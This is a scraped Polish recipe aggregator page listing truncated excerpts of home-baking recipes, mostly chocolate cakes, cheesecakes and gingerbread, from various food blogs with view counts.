Pachnące przyprawami korzennymi i cynamonem ciasto połączone z orzeźwiającym musem ze świeżych pomarańczy i polane delikatną mleczną czekoladą to ciekawa propozycja dla fanów piernika, której trzeba spróbować. Składniki: Ciasto: 125g masła 1/2 szklanka cukru 1/2 szklanka cukru brązowego 2 łyżki miodu 2 łyżki powideł śliwkowych 4 łyżeczki przyprawy do piernika 1 łyżeczka cynamonu 3 łyżeczki kakao 1 łyżeczka sody(...)szklanki mąki pszennej szczypta soli Mus z pomarańczy: 500g pomarańczy (waga po obraniu i filetowaniu) 1 galaretka pomarańczowa 1 szklanka soku z pomarańczy 1 łyżeczka żelatyny Polewa: 100g mlecznej czekolady 3 łyżki mleka Dodatkowo: płatki czekoladowe Wykonanie: 1. Ciasto: W garnku rozpuścić masło, dodać cukry, miód, powidła śliwkowe, przyprawę piernikową, cynamon, kakao i całość dokładnie wymieszać. Żółtka roztrzepać mikserem, dodać

Szalona Kuchnia Eweliny
SERNIK Z PIERNICZKAMI 157

dałam 150g domowych pierników bez polewy, były bardzo lekkie, 200g byłoby w moim przypadku za dużo, + 1 z polewą do dekoracji), Można użyć dowolnych także w polewie lub w czekoladzie. W misie miksera ubić część sera z cukrem i proszkiem budyniowym (lub mąką ziemniaczaną), następnie dodajemy pozostały ser, po jednym jajku i cały czas ubijamy. Pod koniec dodajemy kremówkę(...)uchylonym piekarniku do wystudzenia. Następnie odstawiamy sernik do stężenia do lodówki.lub w chłodne miejsce Przed podaniem posypujemy kakao. Ja polałam mój sernik polewą ganache. Polewa ganache: - 50g czekolady (u mnie deserowa i mleczna) - 50g słodkiej kremówki W rondelku zagotować kremówkę, zestawić z palnika. Do kremówki wrzucić kostki czekolady i odstawić na kilka minut. Następnie całość zamieszać do uzyskania gładkiej

Smaczne Zdrowe
Błyskawiczny sernik 175

Świetny w smaku, niewymagający użycia jajek i szybki w przygotowaniu sernik na kakaowych herbatnikach, z delikatną mleczną czekoladą jest świetną alternatywą klasycznego ciasta na bazie sera. Składniki: Masa serowa: 1,5kg białego sera półtłustego (trzykrotnie zmielonego) 300g masła extra 1,5 szklanki cukru 400ml mleka 3 budynie śmietankowe (na 0,5l mleka) 9ml olejku rumowego Dodatkowo: 500g herbatników kakaowych Polewa(...)150g mlecznej czekolady 3 łyżki mleka Dekoracja: niebieska posypka białe gwiazdki Wykonanie: 1. Masa serowa: W dużym garnku rozpuścić masło z cukrem, dodać ser, olejek rumowy, wlać mleko z rozrobionymi budyniami i energicznie dokładnie wymieszać aż do połączenia się składników. Ciągle mieszając doprowadzić do wrzenia, chwilkę gotować na małym ogniu. Podzielić na 3 części. 2. Dno formy o wymiarach

Szalona Kuchnia Eweliny
Tort żurawinowy z kremem z białej czekolady 128

Kolejny tort! Tym razem przedstawiam Wam przepis na pyszny świąteczny tort z kremem śmietankowym z dodatkiem białej czekolady, oraz kwaśną frużeliną żurawinową. Przygotowanie tortu jest nieco czasochłonne, ale efekt końcowy na pewno każdego zachwyci. Tort żurawinowy z kremem z białej czekolady -- AleTorcik! - przepisy na pyszne, domowe ciasta, ciasteczka i torty

AleTorcik
Tort orzechowo - kawowy 203

masła, w temperaturze pokojowej Nasączenie: 50 ml świeżo zaparzonej, mocnej kawy 50 ml alkoholu: wódki lub likieru kawowego, może być też ciemny rum Polewa czekoladowa: 100 g czekolady deserowej lub gorzkiej 100 ml śmietanki kremówki 30% lub 36% Dodatkowo: 4 - 5 łyżek konfitury wiśniowej lub powideł śliwkowych, lub dżemu z czarnej porzeczki orzechy włoskie do dekoracji Wykonanie: Biszkopt orzechowy: Wszystkie(...)kremu, wyrównać. Przykryć drugim blatem biszkoptu i nasączyć go pozostałym ponczem. Wierzch i boki tortu posmarować resztą kremu. Tort wstawić do lodówki do schłodzenia i stężenia kremu. Polewa czekoladowa: Czekoladę posiekać, umieścić w miseczce. Śmietankę kremówkę podgrzać do wrzenia, zalać nią posiekaną czekoladę. Odstawić na chwilę, następnie wymieszać do otrzymania gładkiego sosu czekoladowego. Odstawić do przestudzenia i lekkiego zgęstnienia

Opowieści z piekarnika
Ciasteczka orzechowe z kremem maślanym 133

małe, słodkie co nie co ??? W końcu dziś mikołajki :) Mam nadzieję, że jesteście zadowoleni z podarków :) Zapraszam na pyszne orzechowe ciasteczka kruche, przełożone kremem maślanym i polane niteczkami czekolady, na pewno zasmakują dużym i małym.  SKŁADNIKI * z proporcji wychodzi dużo ciasteczek :) CIASTO -175g masła lub margaryny -2,5 szkl mąki pszennej (szklanka 250ml) -1,5 łyżeczki proszku(...)śmietany gęstej 12 lub 18% -3/4 szkl orzechów włoskich-drobno zmielonych -3/4 szkl cukru pudru KREM MAŚLANY -120g masła -2 łyżki cukru pudru DODATKOWO -kilka kostek czekolady mlecznej Składniki na ciasto dajemy do miski i zagniatamy. Powstałe ciasto dajemy do woreczka i wstawiamy na około 20 minut do lodówki. Następnie wałkujemy i wycinamy dowolne kształty ciasteczek-parzyście

moje pyszne łatwe i sprawdzone przepisy krok po kroku
Pierniczki 146

świątecznych ciastkach to pierwsze, które nasuwają mi się na myśl to oczywiście pierniczki. Pierniczki Podstawą każdych dobrych pierniczków jest miód i oczywiście przyprawy korzenne. Pierniczki można wypełnić marmoladą, polać czekoladą, udekorować lukrem. Wszystko zależy od tego jaki efekt końcowy nas interesuje. Jeśli np. chcemy powiesić pierniczki na choince dekoracja z lukru będzie jak znalazł. Nie smarowałabym ich jednak całych(...)jedynie zrobiła fantazyjne wzorki. Zdecydowanie nie wieszałabym też na choince pierników czekoladowych a już na pewno nie tych wypełnionych czekoladą. Dekorowanie pierników może być super zabawą i dobrą okazją do spędzenia czasu z rodziną. Warto jest więc je przygotować po to chociażby aby spędzić miło czas z najbliższymi Jeśli zdecydujecie się na wypróbowanie tego przepisu, zachęcam Was do dzielenia się

mecooks
Świąteczne kulki mocy 1640

Rozkoszne i zdrowe świąteczne kuleczki mocy. Bez grama cukru, ale słodkie, z orzechami i daktylami, rumem, korzeniami i otoczką z czekolady. Bardzo proste do wykonania - wystarczy zmiksować składniki. A przy tym zdecydowanie najlepsze z moich kulek moc.  Składniki świątecznych kulek mocy: 1 szklanka orzechów włoskich 1 szklanka daktyli (jak najwyższej jakości) 2 łyżki kakao 2-3 łyżeczki przyprawy korzennej(...)rumu 50 g startej, gorzkiej czekolady do otoczenia kulek Jak zrobić świąteczne kulki mocy? Orzechy wysypać na tacę piekarnikową i prażyć przez 10 minut 180-200 °C. W połowie czasu przemieszać. Daktyle namoczyć w wrzątku. Uprażone orzechy, odcedzone daktyle (nie wylewać wody), kakao, przyprawy korzenne, rum - zmiksować. Gdyby masa była zbyt gęsta, dodać odrobinę wody z moczenia daktyli

Rodzinka w kuchni
Kremowe babeczki z owocami 181

dopiekamy. Babeczki  są bardzo kruche więc delikatnie wyjmujemy z foremek i odstawiamy do całkowitego wystudzenia. Krem mascarpone: 500 g serka mascarpone 200 ml śmietanki 30% 200 g białej czekolady śmietan fix (opcjonalnie) Czekolady rozpuścić w 5 łyżkach śmietanki i odstawić do przestygnięcia. Dobrze schłodzoną śmietankę ubić na sztywno, serek mascarpone wymieszać z biała czekoladą i dodać do śmietanki. Delikatnie

Anielskie wypieki
Torcik piernikowy z mascarpone i galaretką z mango i pomarańczy 221

szklanki mąki pszennej 1 łyżeczka proszku do pieczenia 1/3 łyżeczki sody Krem czekoladowy: 1 szklanka śmietanki 30% 250 g serka mascarpone 2,5 łyżki cukru pudru 260 g mlecznej czekolady Galaretka mango - pomarańcza: 1 duże mango 1 pomarańcza 1,5 opakowania galaretki pomarańczowej Biszkopt piernikowy: Do rondelka wkładamy kawałki masła, miód, przyprawę do piernika i kakao. Podgrzewamy tak, aż wszystko(...)suchego patyczka. Po upieczeniu biszkopt odstawiamy do wystygnięcia. Po przestudzeniu ścinamy górę piernika i kruszymy do miski. Resztę ciasta dzielimy na dwa blaty. Krem czekoladowy z mascarpone: Czekoladę rozpuszczamy w kąpieli wodnej, odstawiamy do przestygnięcia. Śmietankę ubijamy na sztywno. Serek mascarpone miksujemy z cukrem pudrem i czekoladą. Następnie na najmniejszych obrotach łączymy śmietankę z mascarpone. Galaretka mango-pomarańcza: Z pomarańczy

VioletoweKucharzenie
Mini serniczki 98

Kolejny mini wypiek pojawił się w naszym domu – małe serniczki przygotowane z sera twarogowego, śmietankowe, do tego oblane czekoladą. No cud, miód 25 minut w piekarniku i można parzyć kawy, herbaty, szykować likiery, zasiadać, zajadać. Zachęcam do spróbowania przepisu na 12 mini słodkości. Myślę, że nikt nie przejdzie obojętnie u nas w kuchni gorąco, smacznie i tłoczno… SKŁADNIKI(...)sera na sernik, twarogu mielonego 100 g cukru 1 jajko + 1 żółtko kilka kropel aromatu śmietankowego 1 łyżka mąki pszennej 50 g czekolady gorzkiej 60 ml śmietanki 30% PRZYGOTOWANIE: W misce łącze mikserem ser, cukier i łyżkę mąki. Dodaję jajko i żółtko, kilka kropel aromatu śmietankowego. Mieszam do połączenia. Piekarnik nagrzewam do temp. 190 C. Szykuję 12 silikonowych foremek

Zasmakuj Kuchni
Ciasto z kawałkami czekolady i kruszonką 140

czas, żeby robić ciasto czasochłonne, więc postanowiłam zrobić to. Dodałam tylko kandyzowane owoce, bo wszystkim bardzo smakują. Ciasto proste w wykonaniu, szybkie, zamiast czekoladowych chipsów można dodać posiekaną gorzką czekoladę. Kruszonka rewelacyjna, po upieczeniu chrupiąca. Polecam i miłego dnia Wam życzę :-) Keksówka: 11 x 21 cm Składniki na kruszonkę: 55 g masła 40 g cukru brązowego 100 g mąki pszennej(...)drobnego cukru do wypieków 1 jako L 1 żółtko 140 g mąki pszennej tortowej 1 łyżeczka proszku do pieczenia 80 ml kefiru 80 g chipsów czekoladowych lub posiekanej gorzkiej czekolady 70 %  100 g owoców kandyzowanych 1. W misie miksera utrzeć masło z cukrem na jasną, puszystą masę. Dodać całe jajko i żółtko, zmiksować. 2. Dodać mąkę wymieszaną z proszkiem

kruche babeczki
Przepis na idealne masło czekoladowe 104

jest najzdrowsze, dlatego dużo lepiej jest przygotować krem samodzielnie w domu. Co jest potrzebne? Lista zakupów nie jest zbyt długa. Do przygotowania domowego masła czekoladowego potrzebna będzie gorzka czekolada, orzechy laskowe, sól, mleko oraz miód i olej. Orzechy możemy zastąpić migdałami lub chałwą. Ogromnym plusem domowego masła czekoladowego jest to, że możemy dostosować go do własnych potrzeb i samodzielnie dobrać(...)uprażyć i usunąć skórkę. Następnie zblendować na gładką masę. To samo należy zrobić, w przypadku migdałów lub chałwy. Taką masę odstawiamy na bok. Następnie do zagotowanego mleka dodajemy rozdrobioną czekoladę i miód. Powstały gęsty płyn dodajemy do kremu orzechowego, solimy i dokładnie mieszamy. Wszystko przekładamy do słoiczka. Jak przechowywać masło czekoladowe? W związku z tym, że wolimy, gdy krem szybko

Kuchcik gotuje
Tort Szwarcwaldzki 159

żelatyna 1,5 łyżeczki+ 2 łyżki zimnej wody, woda 80 ml, krem z mascarpone: śmietanka 36% 1 litr, mascarpone 500 g, cukier puder 6 łyżek lub do smaku, dodatkowo: czekolada mleczna 50 g, wiśnie lub czereśnie dekoracyjne z ogonkami, Sposób przygotowania: Pieczemy 3 biszkopty z przepisu powyżej. Składniki powinny być w temp, pokojowej. Jajka oddzielamy białka od żółtek. Mąkę przesiewamy(...)sposób. Następnie kładziemy ostatni blat, który również nasączamy. Całość tynkujemy pozostałym kremem (trochę kremu zostawiamy na ozdoby). Boki tortu możemy ozdobić pozostałościami z biszkoptu lub startą na grubych oczkach czekoladą. Ja miałam upieczony dodatkowy biszkopt, który pokruszyłam na boki tortu. Na wierzch tortu ścieramy na grubych oczkach mleczną czekoladę. Resztę kremu przekładamy do worka cukierniczego z ozdobną końcówką i wyciskamy

kulinarne odsłony pati
Jaki sernik upiec na święta 1358

Świąteczny sernik z żurawiną to trzy kolorowy sernik. Jest to sernik pieczony na spodzie brownie zakończony żurawinowym musem. Dodatkowo udekorowałam sernik owocami żurawiny obtoczonymi w cukrze. Świąteczny sernik z czekoladą Ten sernik jest niesamowity. Bardzo lubię połączenie sera z czekoladą. W tym przepisie taka kombinacja świetnie się sprawdza. Polecam dodatkowo dodać wiśnie w zalewie do czekoladowego musu, a ciasto udekorować(...)czekoladowymi wiórami. Sernik jest bardzo efektowny i z powodzeniem może zastąpić świąteczny tort . Świąteczny sernik pomarańczowy Pomarańcza i czekolada to kolejne świąteczne połączenie, które bardzo lubię w serniku. Pomarańczowy sernik upiekłam na czekoladowym spodzie. Upieczony sernik posmarowałam pomarańczowym curdem. Kiedy curd zastygł pokryłam sernik czekoladową polewą – ganache. Jaka jest różnica między czekoladową polewą a ganache, zapytacie? Otóż polewa jest

codojedzenia
Piernik pomidorowy - prosty, rewelacyjny 350

szklanki mąki orkiszowej 1 1/2 łyżki przyprawy piernikowej -  domowej 1 łyżka kakao 1 łyżeczka sody 1/2 łyżeczki proszku do pieczenia 3 szczypty soli oraz: powidła do posmarowania 100 czekolady (Aldi - Herbe Sahne) 60 ml śmietany 36 lub 18% 1 szklanka to 250 ml Przygotowanie: piekarnik nagrzać do 180' C. W wysokim naczyniu blendera zmiksować pomidory, banana, olej i cukier(...)wyłożonej papierem do pieczenia piec 45-50 minut do suchego patyczka kiedy ciasto ostygnie przekroić na pół i posmarować powidłami śliwkowymi w rondelku zagotować śmietankę, dodać połamaną na kawałki czekoladę i odstawić na kilka minut. Wymieszać i posmarować piernik (w wersji wege rozpuścić czekoladę w kąpieli wodnej z dodatkiem 1 łyżki oleju) podawać i patrzeć na zdziwione miny biesiadników

Gotuj zdrowo!Guten Appetit!
Malinowe ptasie mleczko na cieście półkruchym 426

kwaśniej śmietany - 2 łyżki lodowatej wody - 1/2 łyżeczki proszku do pieczenia Masa piankowa: - 1 litr schłodzonej śmietanki 30 % - 4 galaretki malinowe - 500 ml wrzątku (do galaretek) Dodatkowo : - konfitura malinowa - czekolada mleczna i deserowa Dobrze jest mieć (miałam, zawsze robię więcej ) ciasto w zamrażarce – wyciągamy, rozmrażamy, stolnicę podsypujemy mąką i wałkujemy. Jeżeli nie mamy, to – dzień wcześniej zagniatamy ciasto półkruche(...)płynną galaretkę. Na półkruchym spodzie rozsmarowujemy konfiturę malinową (najlepiej zanim zaczniemy ubijać śmietankę). Nnastępnie wykładamy ubitą piankę malinową. Równamy powierzchnię. Na wierzch ścieramy na tarce jarzynowej o dużych oczkach czekoladę mleczną i deserową. Gotowe ciasto wstawiamy do całkowitego stężenia do lodówki (najlepiej na noc). Malinowe ptasie mleczko na cieście półkruchym – niezwykle smaczne, bardzo delikatne, a dla wielu – kolejne

mojewypiekiinietylko
Orzechownik 112

łyżki cukru waniliowego 10 dag masła 3,5 dag drożdży 3 łyżki letniego mleka szczypta soli Masa orzechowa: 20 dag zmielonych orzechów włoskich 1 białko 4 kostki gorzkiej czekolady 3 łyżki bułki tartej 3 łyżki ciepłego mleka 3-4 łyżki cukru 1 łyżka ciemnego rumu skórka otarta z połowy cytryny szczypta cynamonu Dodatki: 1/2 szklanki cukru pudru 2 łyżki aromatycznego(...)alkoholu (lub więcej, jeśli masa jest zbyt gęsta) ew. ozdoby (orzechy, posypki, czekolada, inne) Wykonanie: Ciasto. Drożdże wymieszać z cukrem, chwilę poczekać, by się rozpuściły. Mąkę przesiać. Wszystkie składniki zagnieść, uformować kulę, włożyć do szczelnego foliowego woreczka, zamknąć i włożyć do garnka z zimną wodą. Gdy ciasto urośnie, rozwałkować na długość foremki. Posmarować masą orzechową (zostawić 1 cm wolnych brzegów

Rodzinka w kuchni
Ciasto chałwowe bez pieczenia. 170

dobrze schłodzone smakuje wyśmienicie. SKŁADNIKI: KREM: - 600 ml. mleka - szczypta soli - 1/2 szkl. cukru - 200 gr. masła - 2 budynie waniliowe w proszku - 300 gr. chałwy waniliowej POLEWA: - 100 gr. czekolady gorzkiej - 100 ml. śmietanki kremówki 30 % DODATKOWO: - 60 szt. herbatników - słoiczek dżemu truskawkowego - krokant do ozdoby ciasta * foremka 24cm. x 32cm. * 1 szklanka = 250 ml. WYKONANIE: - do garnka wlewamy(...)dżem truskawkowy, a na dżem wykładamy masę chałwową. Czynność powtarzamy, czyli, herbatniki, dżem, krem i na górę herbatniki. - w rondelku podgrzewamy 100 ml. śmietanki kremówki, dodajemy 100 gr. gorzkiej czekolady i dobrze mieszamy do dokładnego rozpuszczenia się czekolady. - polewę czekoladową wylewamy na górę ciasta czyli na herbatniki i posypujemy ją krokantem dla ozdoby. - ciasto przykrywamy folią spożywczą, i wsadzamy

RITA food channel
Babeczki piernikowe nadziewane powidłami 356

Przedsmak świąt - miękkie babeczki piernikowe nadziewane powidłami z kawałkami czekolady i rodzynkami. Na teraz, do jesiennej herbaty, na święta - dla zapracowanych. Polecam, u mnie zniknęły w ciągu dnia. Składniki babeczek piernikowych nadziewanych powidłami: 125 g masła 1/4 szklanki mleka 3/4 szklanki cukru 1 z czubkiem łyżka kakao 1 pełna łyżka przyprawy piernikowej 2 jajka 1 szklanka mąki(...)łyżeczka proszku do pieczenia szczypta soli Nadzienie: 1 filiżanka powideł 1/4 tabliczki czekolady pełna łyżka rodzynek ew. ozdoby Przepis na babeczki piernikowe nadziewane powidłami: Przygotować foremki (12 sztuk) - posmarować masłem i wysypać tartą bułką. Przesiać mąkę z proszkiem do pieczenia. Powidła, namoczone i wysuszone rodzynki i posiekaną czekoladę wymieszać. Włączyć piekarnik na 180 °C. Masło, mleko, cukier, kakao, przyprawę piernikową

Rodzinka w kuchni
TORT CYNAMONOWY 133

mleka Masa budyniowa śmietankowa: 2 budynie śmietankowe 500 ml mleka 250 g margaryny  1 olejek spirytusowy śmietankowy (3,5 g) 3/4 szklanki cukru Dodatkowo: 70 g gorzkiej czekolady kilka sztuk białych perełek cukrowych Przygotowanie: Biszkopt - margarynę rozpuszczamy i odstawiamy do ostygnięcia. Mąkę pszenną z sodą oczyszczoną i cynamonem z kakao - przesiewamy. jajka z cukrem ubijamy do momentu zbielenia. Następnie(...)drugi blat biszkopta i rozsmarować pozostały krem ciasto wierzch i cienką warstwą kremu boki tortu. Wierzch wyrównać. Na koniec udekorować tort.  Przykładowa dekoracja: Boki tortu obsypać startą gorzką czekoladą. Następnie na środku tortu również za pomocą startej czekolady zrobić choinkę, zaś wokół osi tortu po zewnętrznej stronie duże gwiazdy, zaś po wewnętrznej małe gwiazdki. Na koniec na choince ułożyć

Ciastka - domowe słodkości
Ciasto piernikowe z żuwariną w czekoladzie 145

Wilgotne ciasto z powidałmi śliwkowymi, pachnące przyprawą do piernika i kakao, polane gorzką czekoladą ze słodką suszoną żurawiną! Coś pysznego!  Składniki: (na formę 12x35 cm) 3 szklanki mąki, 1/2 szklanki cukru, 3 czubate łyżki kakao, opakowanie przyprawy do piernika, czubata łyżeczka proszku do pieczenia, 5 jajek M, 3/4 szklanki oleju, 300ml mleka, 250g powideł śliwkowych, Polewa: 200 g czekolady(...)mokre składniki. Miksujemy do połączenia się składników. Wkładamy do nagrzanego do 170 stopni piekarnika, pieczemy przez około godzinę i 20minut - do tzw. "suchego patyczka". Ciasto studzimy. W rondelku rozpuszamy czekoladę razem z masłem i mlekiem. Dodajemy żurawinę. Polawamy nią ciasto. Możemydodatkowo udekorować perełkami i gwiazdkami

Lena Gotuje
Sernik gotowany 104

łyżeczka proszku do pieczenia Składniki na masę serową : -1 kg sera -35 dag cukru pudru -3 żółtka -15 dag masła lub margaryny -pół szklanki mleka -2 łyżki mąki ziemniaczanej -czekolada mleczna -wiórki kokosowe Przeznaczone na biszkopt żółtka utrzeć z cukrem i ciągle mieszając dodać mąki wymieszane z proszkiem do pieczenia a na końcu pianę ubitą z białek. Wylać ciasto(...)mieszaniu. Gorącą masę wylać na biszkopt ( można a nawet należy go wcześniej nasączyć wodą z cukrem i sokiem cytrynowym ). Wierzch sernika posypać wiórkami kokosowymi i udekorować kratką z rozpuszczonej czekolady albo wylać czekoladę na cały sernik. Pychota ! (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push

Kulinarne przemyslenia
Makowiec japoński z kokosowo-orzechowym karmelem - 2 wersje!! (bez glutenu, cukru, laktozy, wegański) 109

mleka kokosowego i 200g wody) -300g suszonych owoców (u nas żurawina, śliwki, daktyle) -1 pomarańcze (wraz ze skórką) -1 średnie jabłko -70g gorzkiej czekolady (opcjonalnie) -4 pełne łyżki skrobi -2 łyżki chia -ksylitol 2 wersja - Składniki (śr: 26 cm): -200g maku mielonego -100g komosy ryżowej -700-800g płynu (4-500g mleka kokosowego i 300g(...)wody) -400g suszonych owoców (żurawina, śliwki, daktyle, rodzynki) -2 średnie jabłka -2 pomarańcze (miąższ z jednego, skórka z obu) -100g gorzkiej czekolady (opcjonalnie) -6-7 łyżek skrobi -4 łyżki chia -ksylitol Karmel kokosowo-orzechowy -200ml tłustego mleka kokosowego (300ml w 2 wersji) -1 pełna łyżka oleju kokosowego (2 w 2 wersji) -4 łyżki cukru kokosowego

Candy Pandas
Korzenny keks z bananem i kawałkami czekolady 166

Aromatyczny keks czekoladowy z bananem i kawałkami czekolady, bardzo aromatyczny i mięciutki, w sam raz coś słodkiego do kawy. Składniki: 180 g mąki pszennej 160 g białego cukru 30 g kakao 5 g przyprawy korzennej 1/2 łyżeczki proszku do pieczenia 1 łyżeczka sody oczyszczonej 16 g cukru wanilinowego  3 jajka 50 ml mleka 100 ml oleju 100 g mlecznej(...)czekolady 1 dojrzały banan  Wykonanie: W jednej misce łączymy ze sobą wszystkie suche składniki: mąkę, cukier, cukier wanilinowy, soda, proszek do pieczenia, kakao, starta na tarce o dużych oczkach czekolada. A w drugiej misce łączymy ze sobą miksując na najniższych obrotach: żółtka, mleko, olej i rozgnieciony widelcem banan Do mokrych składników dodajemy porcjami suche składniki miksując na najniższych obrotach

W Moim Magicznym Domu
Zdrowa babka jogurtowa z białą czekoladą bez cukru 111

Bardzo prosta, bardzo smaczna, taka zwykła, ale dobra babka jogurtowa. Polana białą czekoladą (u nas kokosową) to poezja.  Pieczcie ją długo! Nikt z nas nie chce zakalca :)  Składniki na klasyczną keksówkę: 400 g mąki (u nas orkiszowa typ 750) 4 jajka 150 g jogurtu naturalnego 80 ml oleju rzepakowego 130 g erytrolu / ksylitolu /cukru 1 łyżeczka proszku(...)pieczenia Polewa: Czekolada biała bez cukru  + 1 łyżeczka masła + odrobina mleka Przygotowanie: Białka oddzielamy od żółtek. Żółtka ucieramy z ksylitolem/erytrolem/cukrem. Dodajemy jogurt i olej. Następnie dodajemy powoli mąkę i proszek do pieczenia, ciągle miksując. Białka ubijamy na sztywno. Delikatnie do ciasta dodajemy ubite białka. Przekładamy do formy silikonowej lub do metalowej wysmarowanej masłem i obsypanej mąką. Wkładamy do lekko

Czarnawisienka
Czekoladowe ciasto z kaszy manny 108

Czekolada i wiśnie pasują do siebie idealnie, przynajmniej moim zdaniem. Dlatego dzisiaj przepis na ciasto czekoladowe z kaszy manny z dodatkiem wiśni. Taki typ ciast lubię jak najbardziej, gdyż nie jest zbyt ciężkie i idealne na małą przekąskę. (adsbygoogle = window.adsbygoogle || []).push({}); Czekoladowe ciasto z kaszy manny składniki: 250 ml wody 120 ml mleka 120 g kaszki manny 2 jajka(...)masła 120 g serka ricotta 1 łyżeczka skórki otartej z limonki 1 łyżeczka ekstraktu waniliowego 100 g cukru pudru 50 g gorzkiej czekolady 1 mała szklanka wiśni  Czekoladowe ciasto z kaszy manny wykonanie: W rondlu zagotowujemy wodę z mlekiem, następnie stopniowo dodajemy kaszę mannę cały czas mieszając. W momencie gry kasza zacznie lekko gęstnieć dodajemy czekoladę i dokładnie

Delusional Trine
tort czekoladowy z wiśniami 156

odstawiamy do całkowitego wystudzenia. składniki na masę: 500 ml mleka 1 budyń waniliowy 2 łyżki mąki orkiszowej lub pszennej 1 łyżka mąki ziemniaczanej 5 łyżek cukru ok. 50 g czekolady deserowej, rozpuszczonej i przestudzonej 250 g masła, miękkiego w temperaturze pokojowej dodatkowo: odsączone wiśnie z likieru lub nalewki wykonanie: Ok. 250 ml mleka zagotowujemy z cukrem. W pozostałym mleku mieszamy(...)wlewamy do gotującego się mleka. Cały czas podgrzewamy i mieszamy, aż budyń zgęstnieje. Zestawiamy z ognia i odstawiamy do całkowitego wystudzenia. Aby masa się nie zważyła budyń, masło oraz czekolada muszą mieć taka samą temperaturę. Masło miksujemy, dodajemy stopniowo budyń a następnie czekoladę i miksujemy na gładką masą. wykonanie tortu: Pierwszy blat nasączamy. Wykładamy cienką warstwę masy na której układamy

Domowy Smak Jedzenia
Bardzo czekoladowe Brownie 161

mieć konsystencję delikatnie „zakalcowatą” :) Przepis i listę składników na to ciasto znajdziecie poniżej… i od razu życzę Wam smacznego:) Składniki 280g masła 240g cukru 250g gorzkiej czekolady 1/2 szklanki wody 50g włoskich orzechów 3 jajka 80g mąki pszennej Przepis na czekoladowe Brownie Do rondelka dodajemy wodę, cukier i gotujemy aż cukier się rozpuści. Zdejmujemy z ognia(...)dodajemy czekoladę , masło i na małym ogniu gotujemy aż składniki się połączą. W misce roztrzepujemy jajka, dodajemy mąkę i całość mieszamy, tak aby nie było grudek. Dodajemy lekko przestudzoną masę czekoladową, posiekane orzechu i całość mieszamy do połączenia się składników. Tortownicę o średnicy 24 cm wykładamy papierem do pieczenia i przelewamy do niej ciasto. Brownie pieczemy ok. 25 minut

Kulinarnyblog.pl - wiesz jak gotować!
Najprostszy chlebek bananowy 140

nerwa. Chlebek bananowy, który wam pokażę jest prosty, tak obrzydliwie prosty, że musi się udać. Przepisów na chlebek bananowy jest milion, u mnie na blogu znajdziecie taki wypasiony, z czekoladą i on jest super. Ten zaś chlebek bananowy składa się z czterech składników i sprawdza się doskonale jako podkład pod dżem, miód, ser biały z konfiturą. Jest wilgotny i długo(...)Studzimy na kratce, jemy po całkowitym wystudzeniu. Jak lubicie bardzo słodki chlebek bananowy, to dodajcie cukru lub miodu według uznania. Do chlebka można dodać orzechy, suszone owoce czy kawałki czekolady. Przepis na chlebek bananowy z czekoladą znajdziecie TUTAJ   Post Najprostszy chlebek bananowy pojawił się poraz pierwszy w LADY KITCHEN

ladykitchen
Owsiane ciastka z dyni z żurawiną i miodem 136

ciasteczka za pomocą łyżki. Piecz przez 20-25 minut w 175ºC z termoobiegiem (w zależności od grubości ciastek). Oczywiście zamiast żurawiny i orzechów możesz dodać inne ulubione dodatki, jak czekoladę, morele czy rodzynki. Składniki SKŁADNIKI (ILOŚĆ NA OK. 20 CIASTECZEK)   100 g płatków owsianych   70 g mąki pszennej   150 g dyni   1 łyżeczka cynamonu(...)ciasteczka za pomocą łyżki. Piecz przez 20-25 minut w 175ºC z termoobiegiem (w zależności od grubości ciastek). Oczywiście zamiast żurawiny i orzechów możesz dodać inne ulubione dodatki, jak czekoladę, morele czy rodzynki. Ciasteczka z dyni na bazie płatków owsianych Składniki Przygotowanie {"@context":"http:\/\/schema.org","@type":"Recipe","author":"atopestka","datePublished":"2018-11-18","name":"Ciasteczka z dyni na bazie

A to pestka
Bananowa krajanka z orzechową posypką i karmelem 142

rozpoczęcie adwentu. Pachnie korzennymi przyprawami i jest bardzo wilgotne. Typowe ciasto bananowe w adwentowym wydaniu. Uwielbiam ciasto adwentowe z różnymi dodatkami, a to ciasto bananowe z orzechami i czekoladą jest wyśmienite. Jeszcze ugotowałam sos karmelowy. Lubicie karmel? Ja uwielbiam! Od kiedy nauczyłam się go gotować często go podaję jako sos do ciasta lub lodów. Ciasto adwentowe to ciasto ucierane(...)pszennej mąki 1 łyżeczka cynamonu 1 łyżeczka przyprawy korzennej 1½ łyżeczki proszku do pieczenia 1½ łyżeczki sody oczyszczonej ¼ łyżeczki soli 100 g mieszanych orzechów do posypania 50 g gorzkiej czekolady do posypania Sos karmelowy 100 ml wody 180 g cukru szczypta soli do smaku, opcjonalnie 100 g masła 100 ml śmietanki kremówki Nastaw piekarnik na 175ºC. Zmiksuj masło z cukrem

codojedzenia
ciastka kokosowe z kawałkami czekolady 96

składniki: 200 g mąki 100 g wiórek kokosowych 1 jajko 120 g masła, miękkiego w temperaturze pokojowej 150 g cukru 1 łyżeczka proszku do pieczenia 50 g czekolady mlecznej 50 g czekolady gorzkiej 1 szczypta soli opcjonalnie: 1 łyżeczka likieru kokosowego wykonanie: Masło miksujemy z cukrem. Dodajemy jajko oraz sól, miksujemy. Następnie dodajemy wiórka kokosowe, mąkę przesianą z proszkiem(...)pieczenia oraz opcjonalnie likier. Miksujemy. Na końcu dodajemy posiekane czekolady i mieszamy. Z ciasta formujemy kuleczki wielkości orzecha włoskiego (ok. 30 szt.), układamy na blaszce wyłożonej papierem do pieczenia. Pieczemy przez ok. 15 min. w 170 st. C., na złoty kolor. Po upieczeniu studzimy na kratce

Domowy Smak Jedzenia
Sernik na piernikowym cieście. 219

kostki masła 8 jajek + 2 białka od ciasta 1 i 1/4 szklanki cukru 2 czubate łyżki maki ziemniaczanej skórka otarta z 1 pomarańczy szczypta soli Polewa: 1 tabliczka czekolady mlecznej 1/2 tabliczki czekolady gorzkiej 50 g. masła Wykonanie: Na stolnicę wysypać sypkie składniki i wymieszać. Dodać posiekana margarynę, żółtka i śmietanę. Zagnieść na gładkie ciasto. Uformować kulę, owinąć w folię(...)godzinę. Następnie wyłączyć piekarnik i zostawić w nim sernik na 2-3 godziny. Polewa: W rondelku zagotować wodę, ustawić na nim miseczkę, a do miseczki dodać połamana na kawałki czekoladę i masło. Mieszać do rozpuszczenia składników. Zostawić do przestudzenia. Wystudzony sernik polać letnią polewą

Agusiowe smakołyki
Kopiec kreta na dużą blachę 419

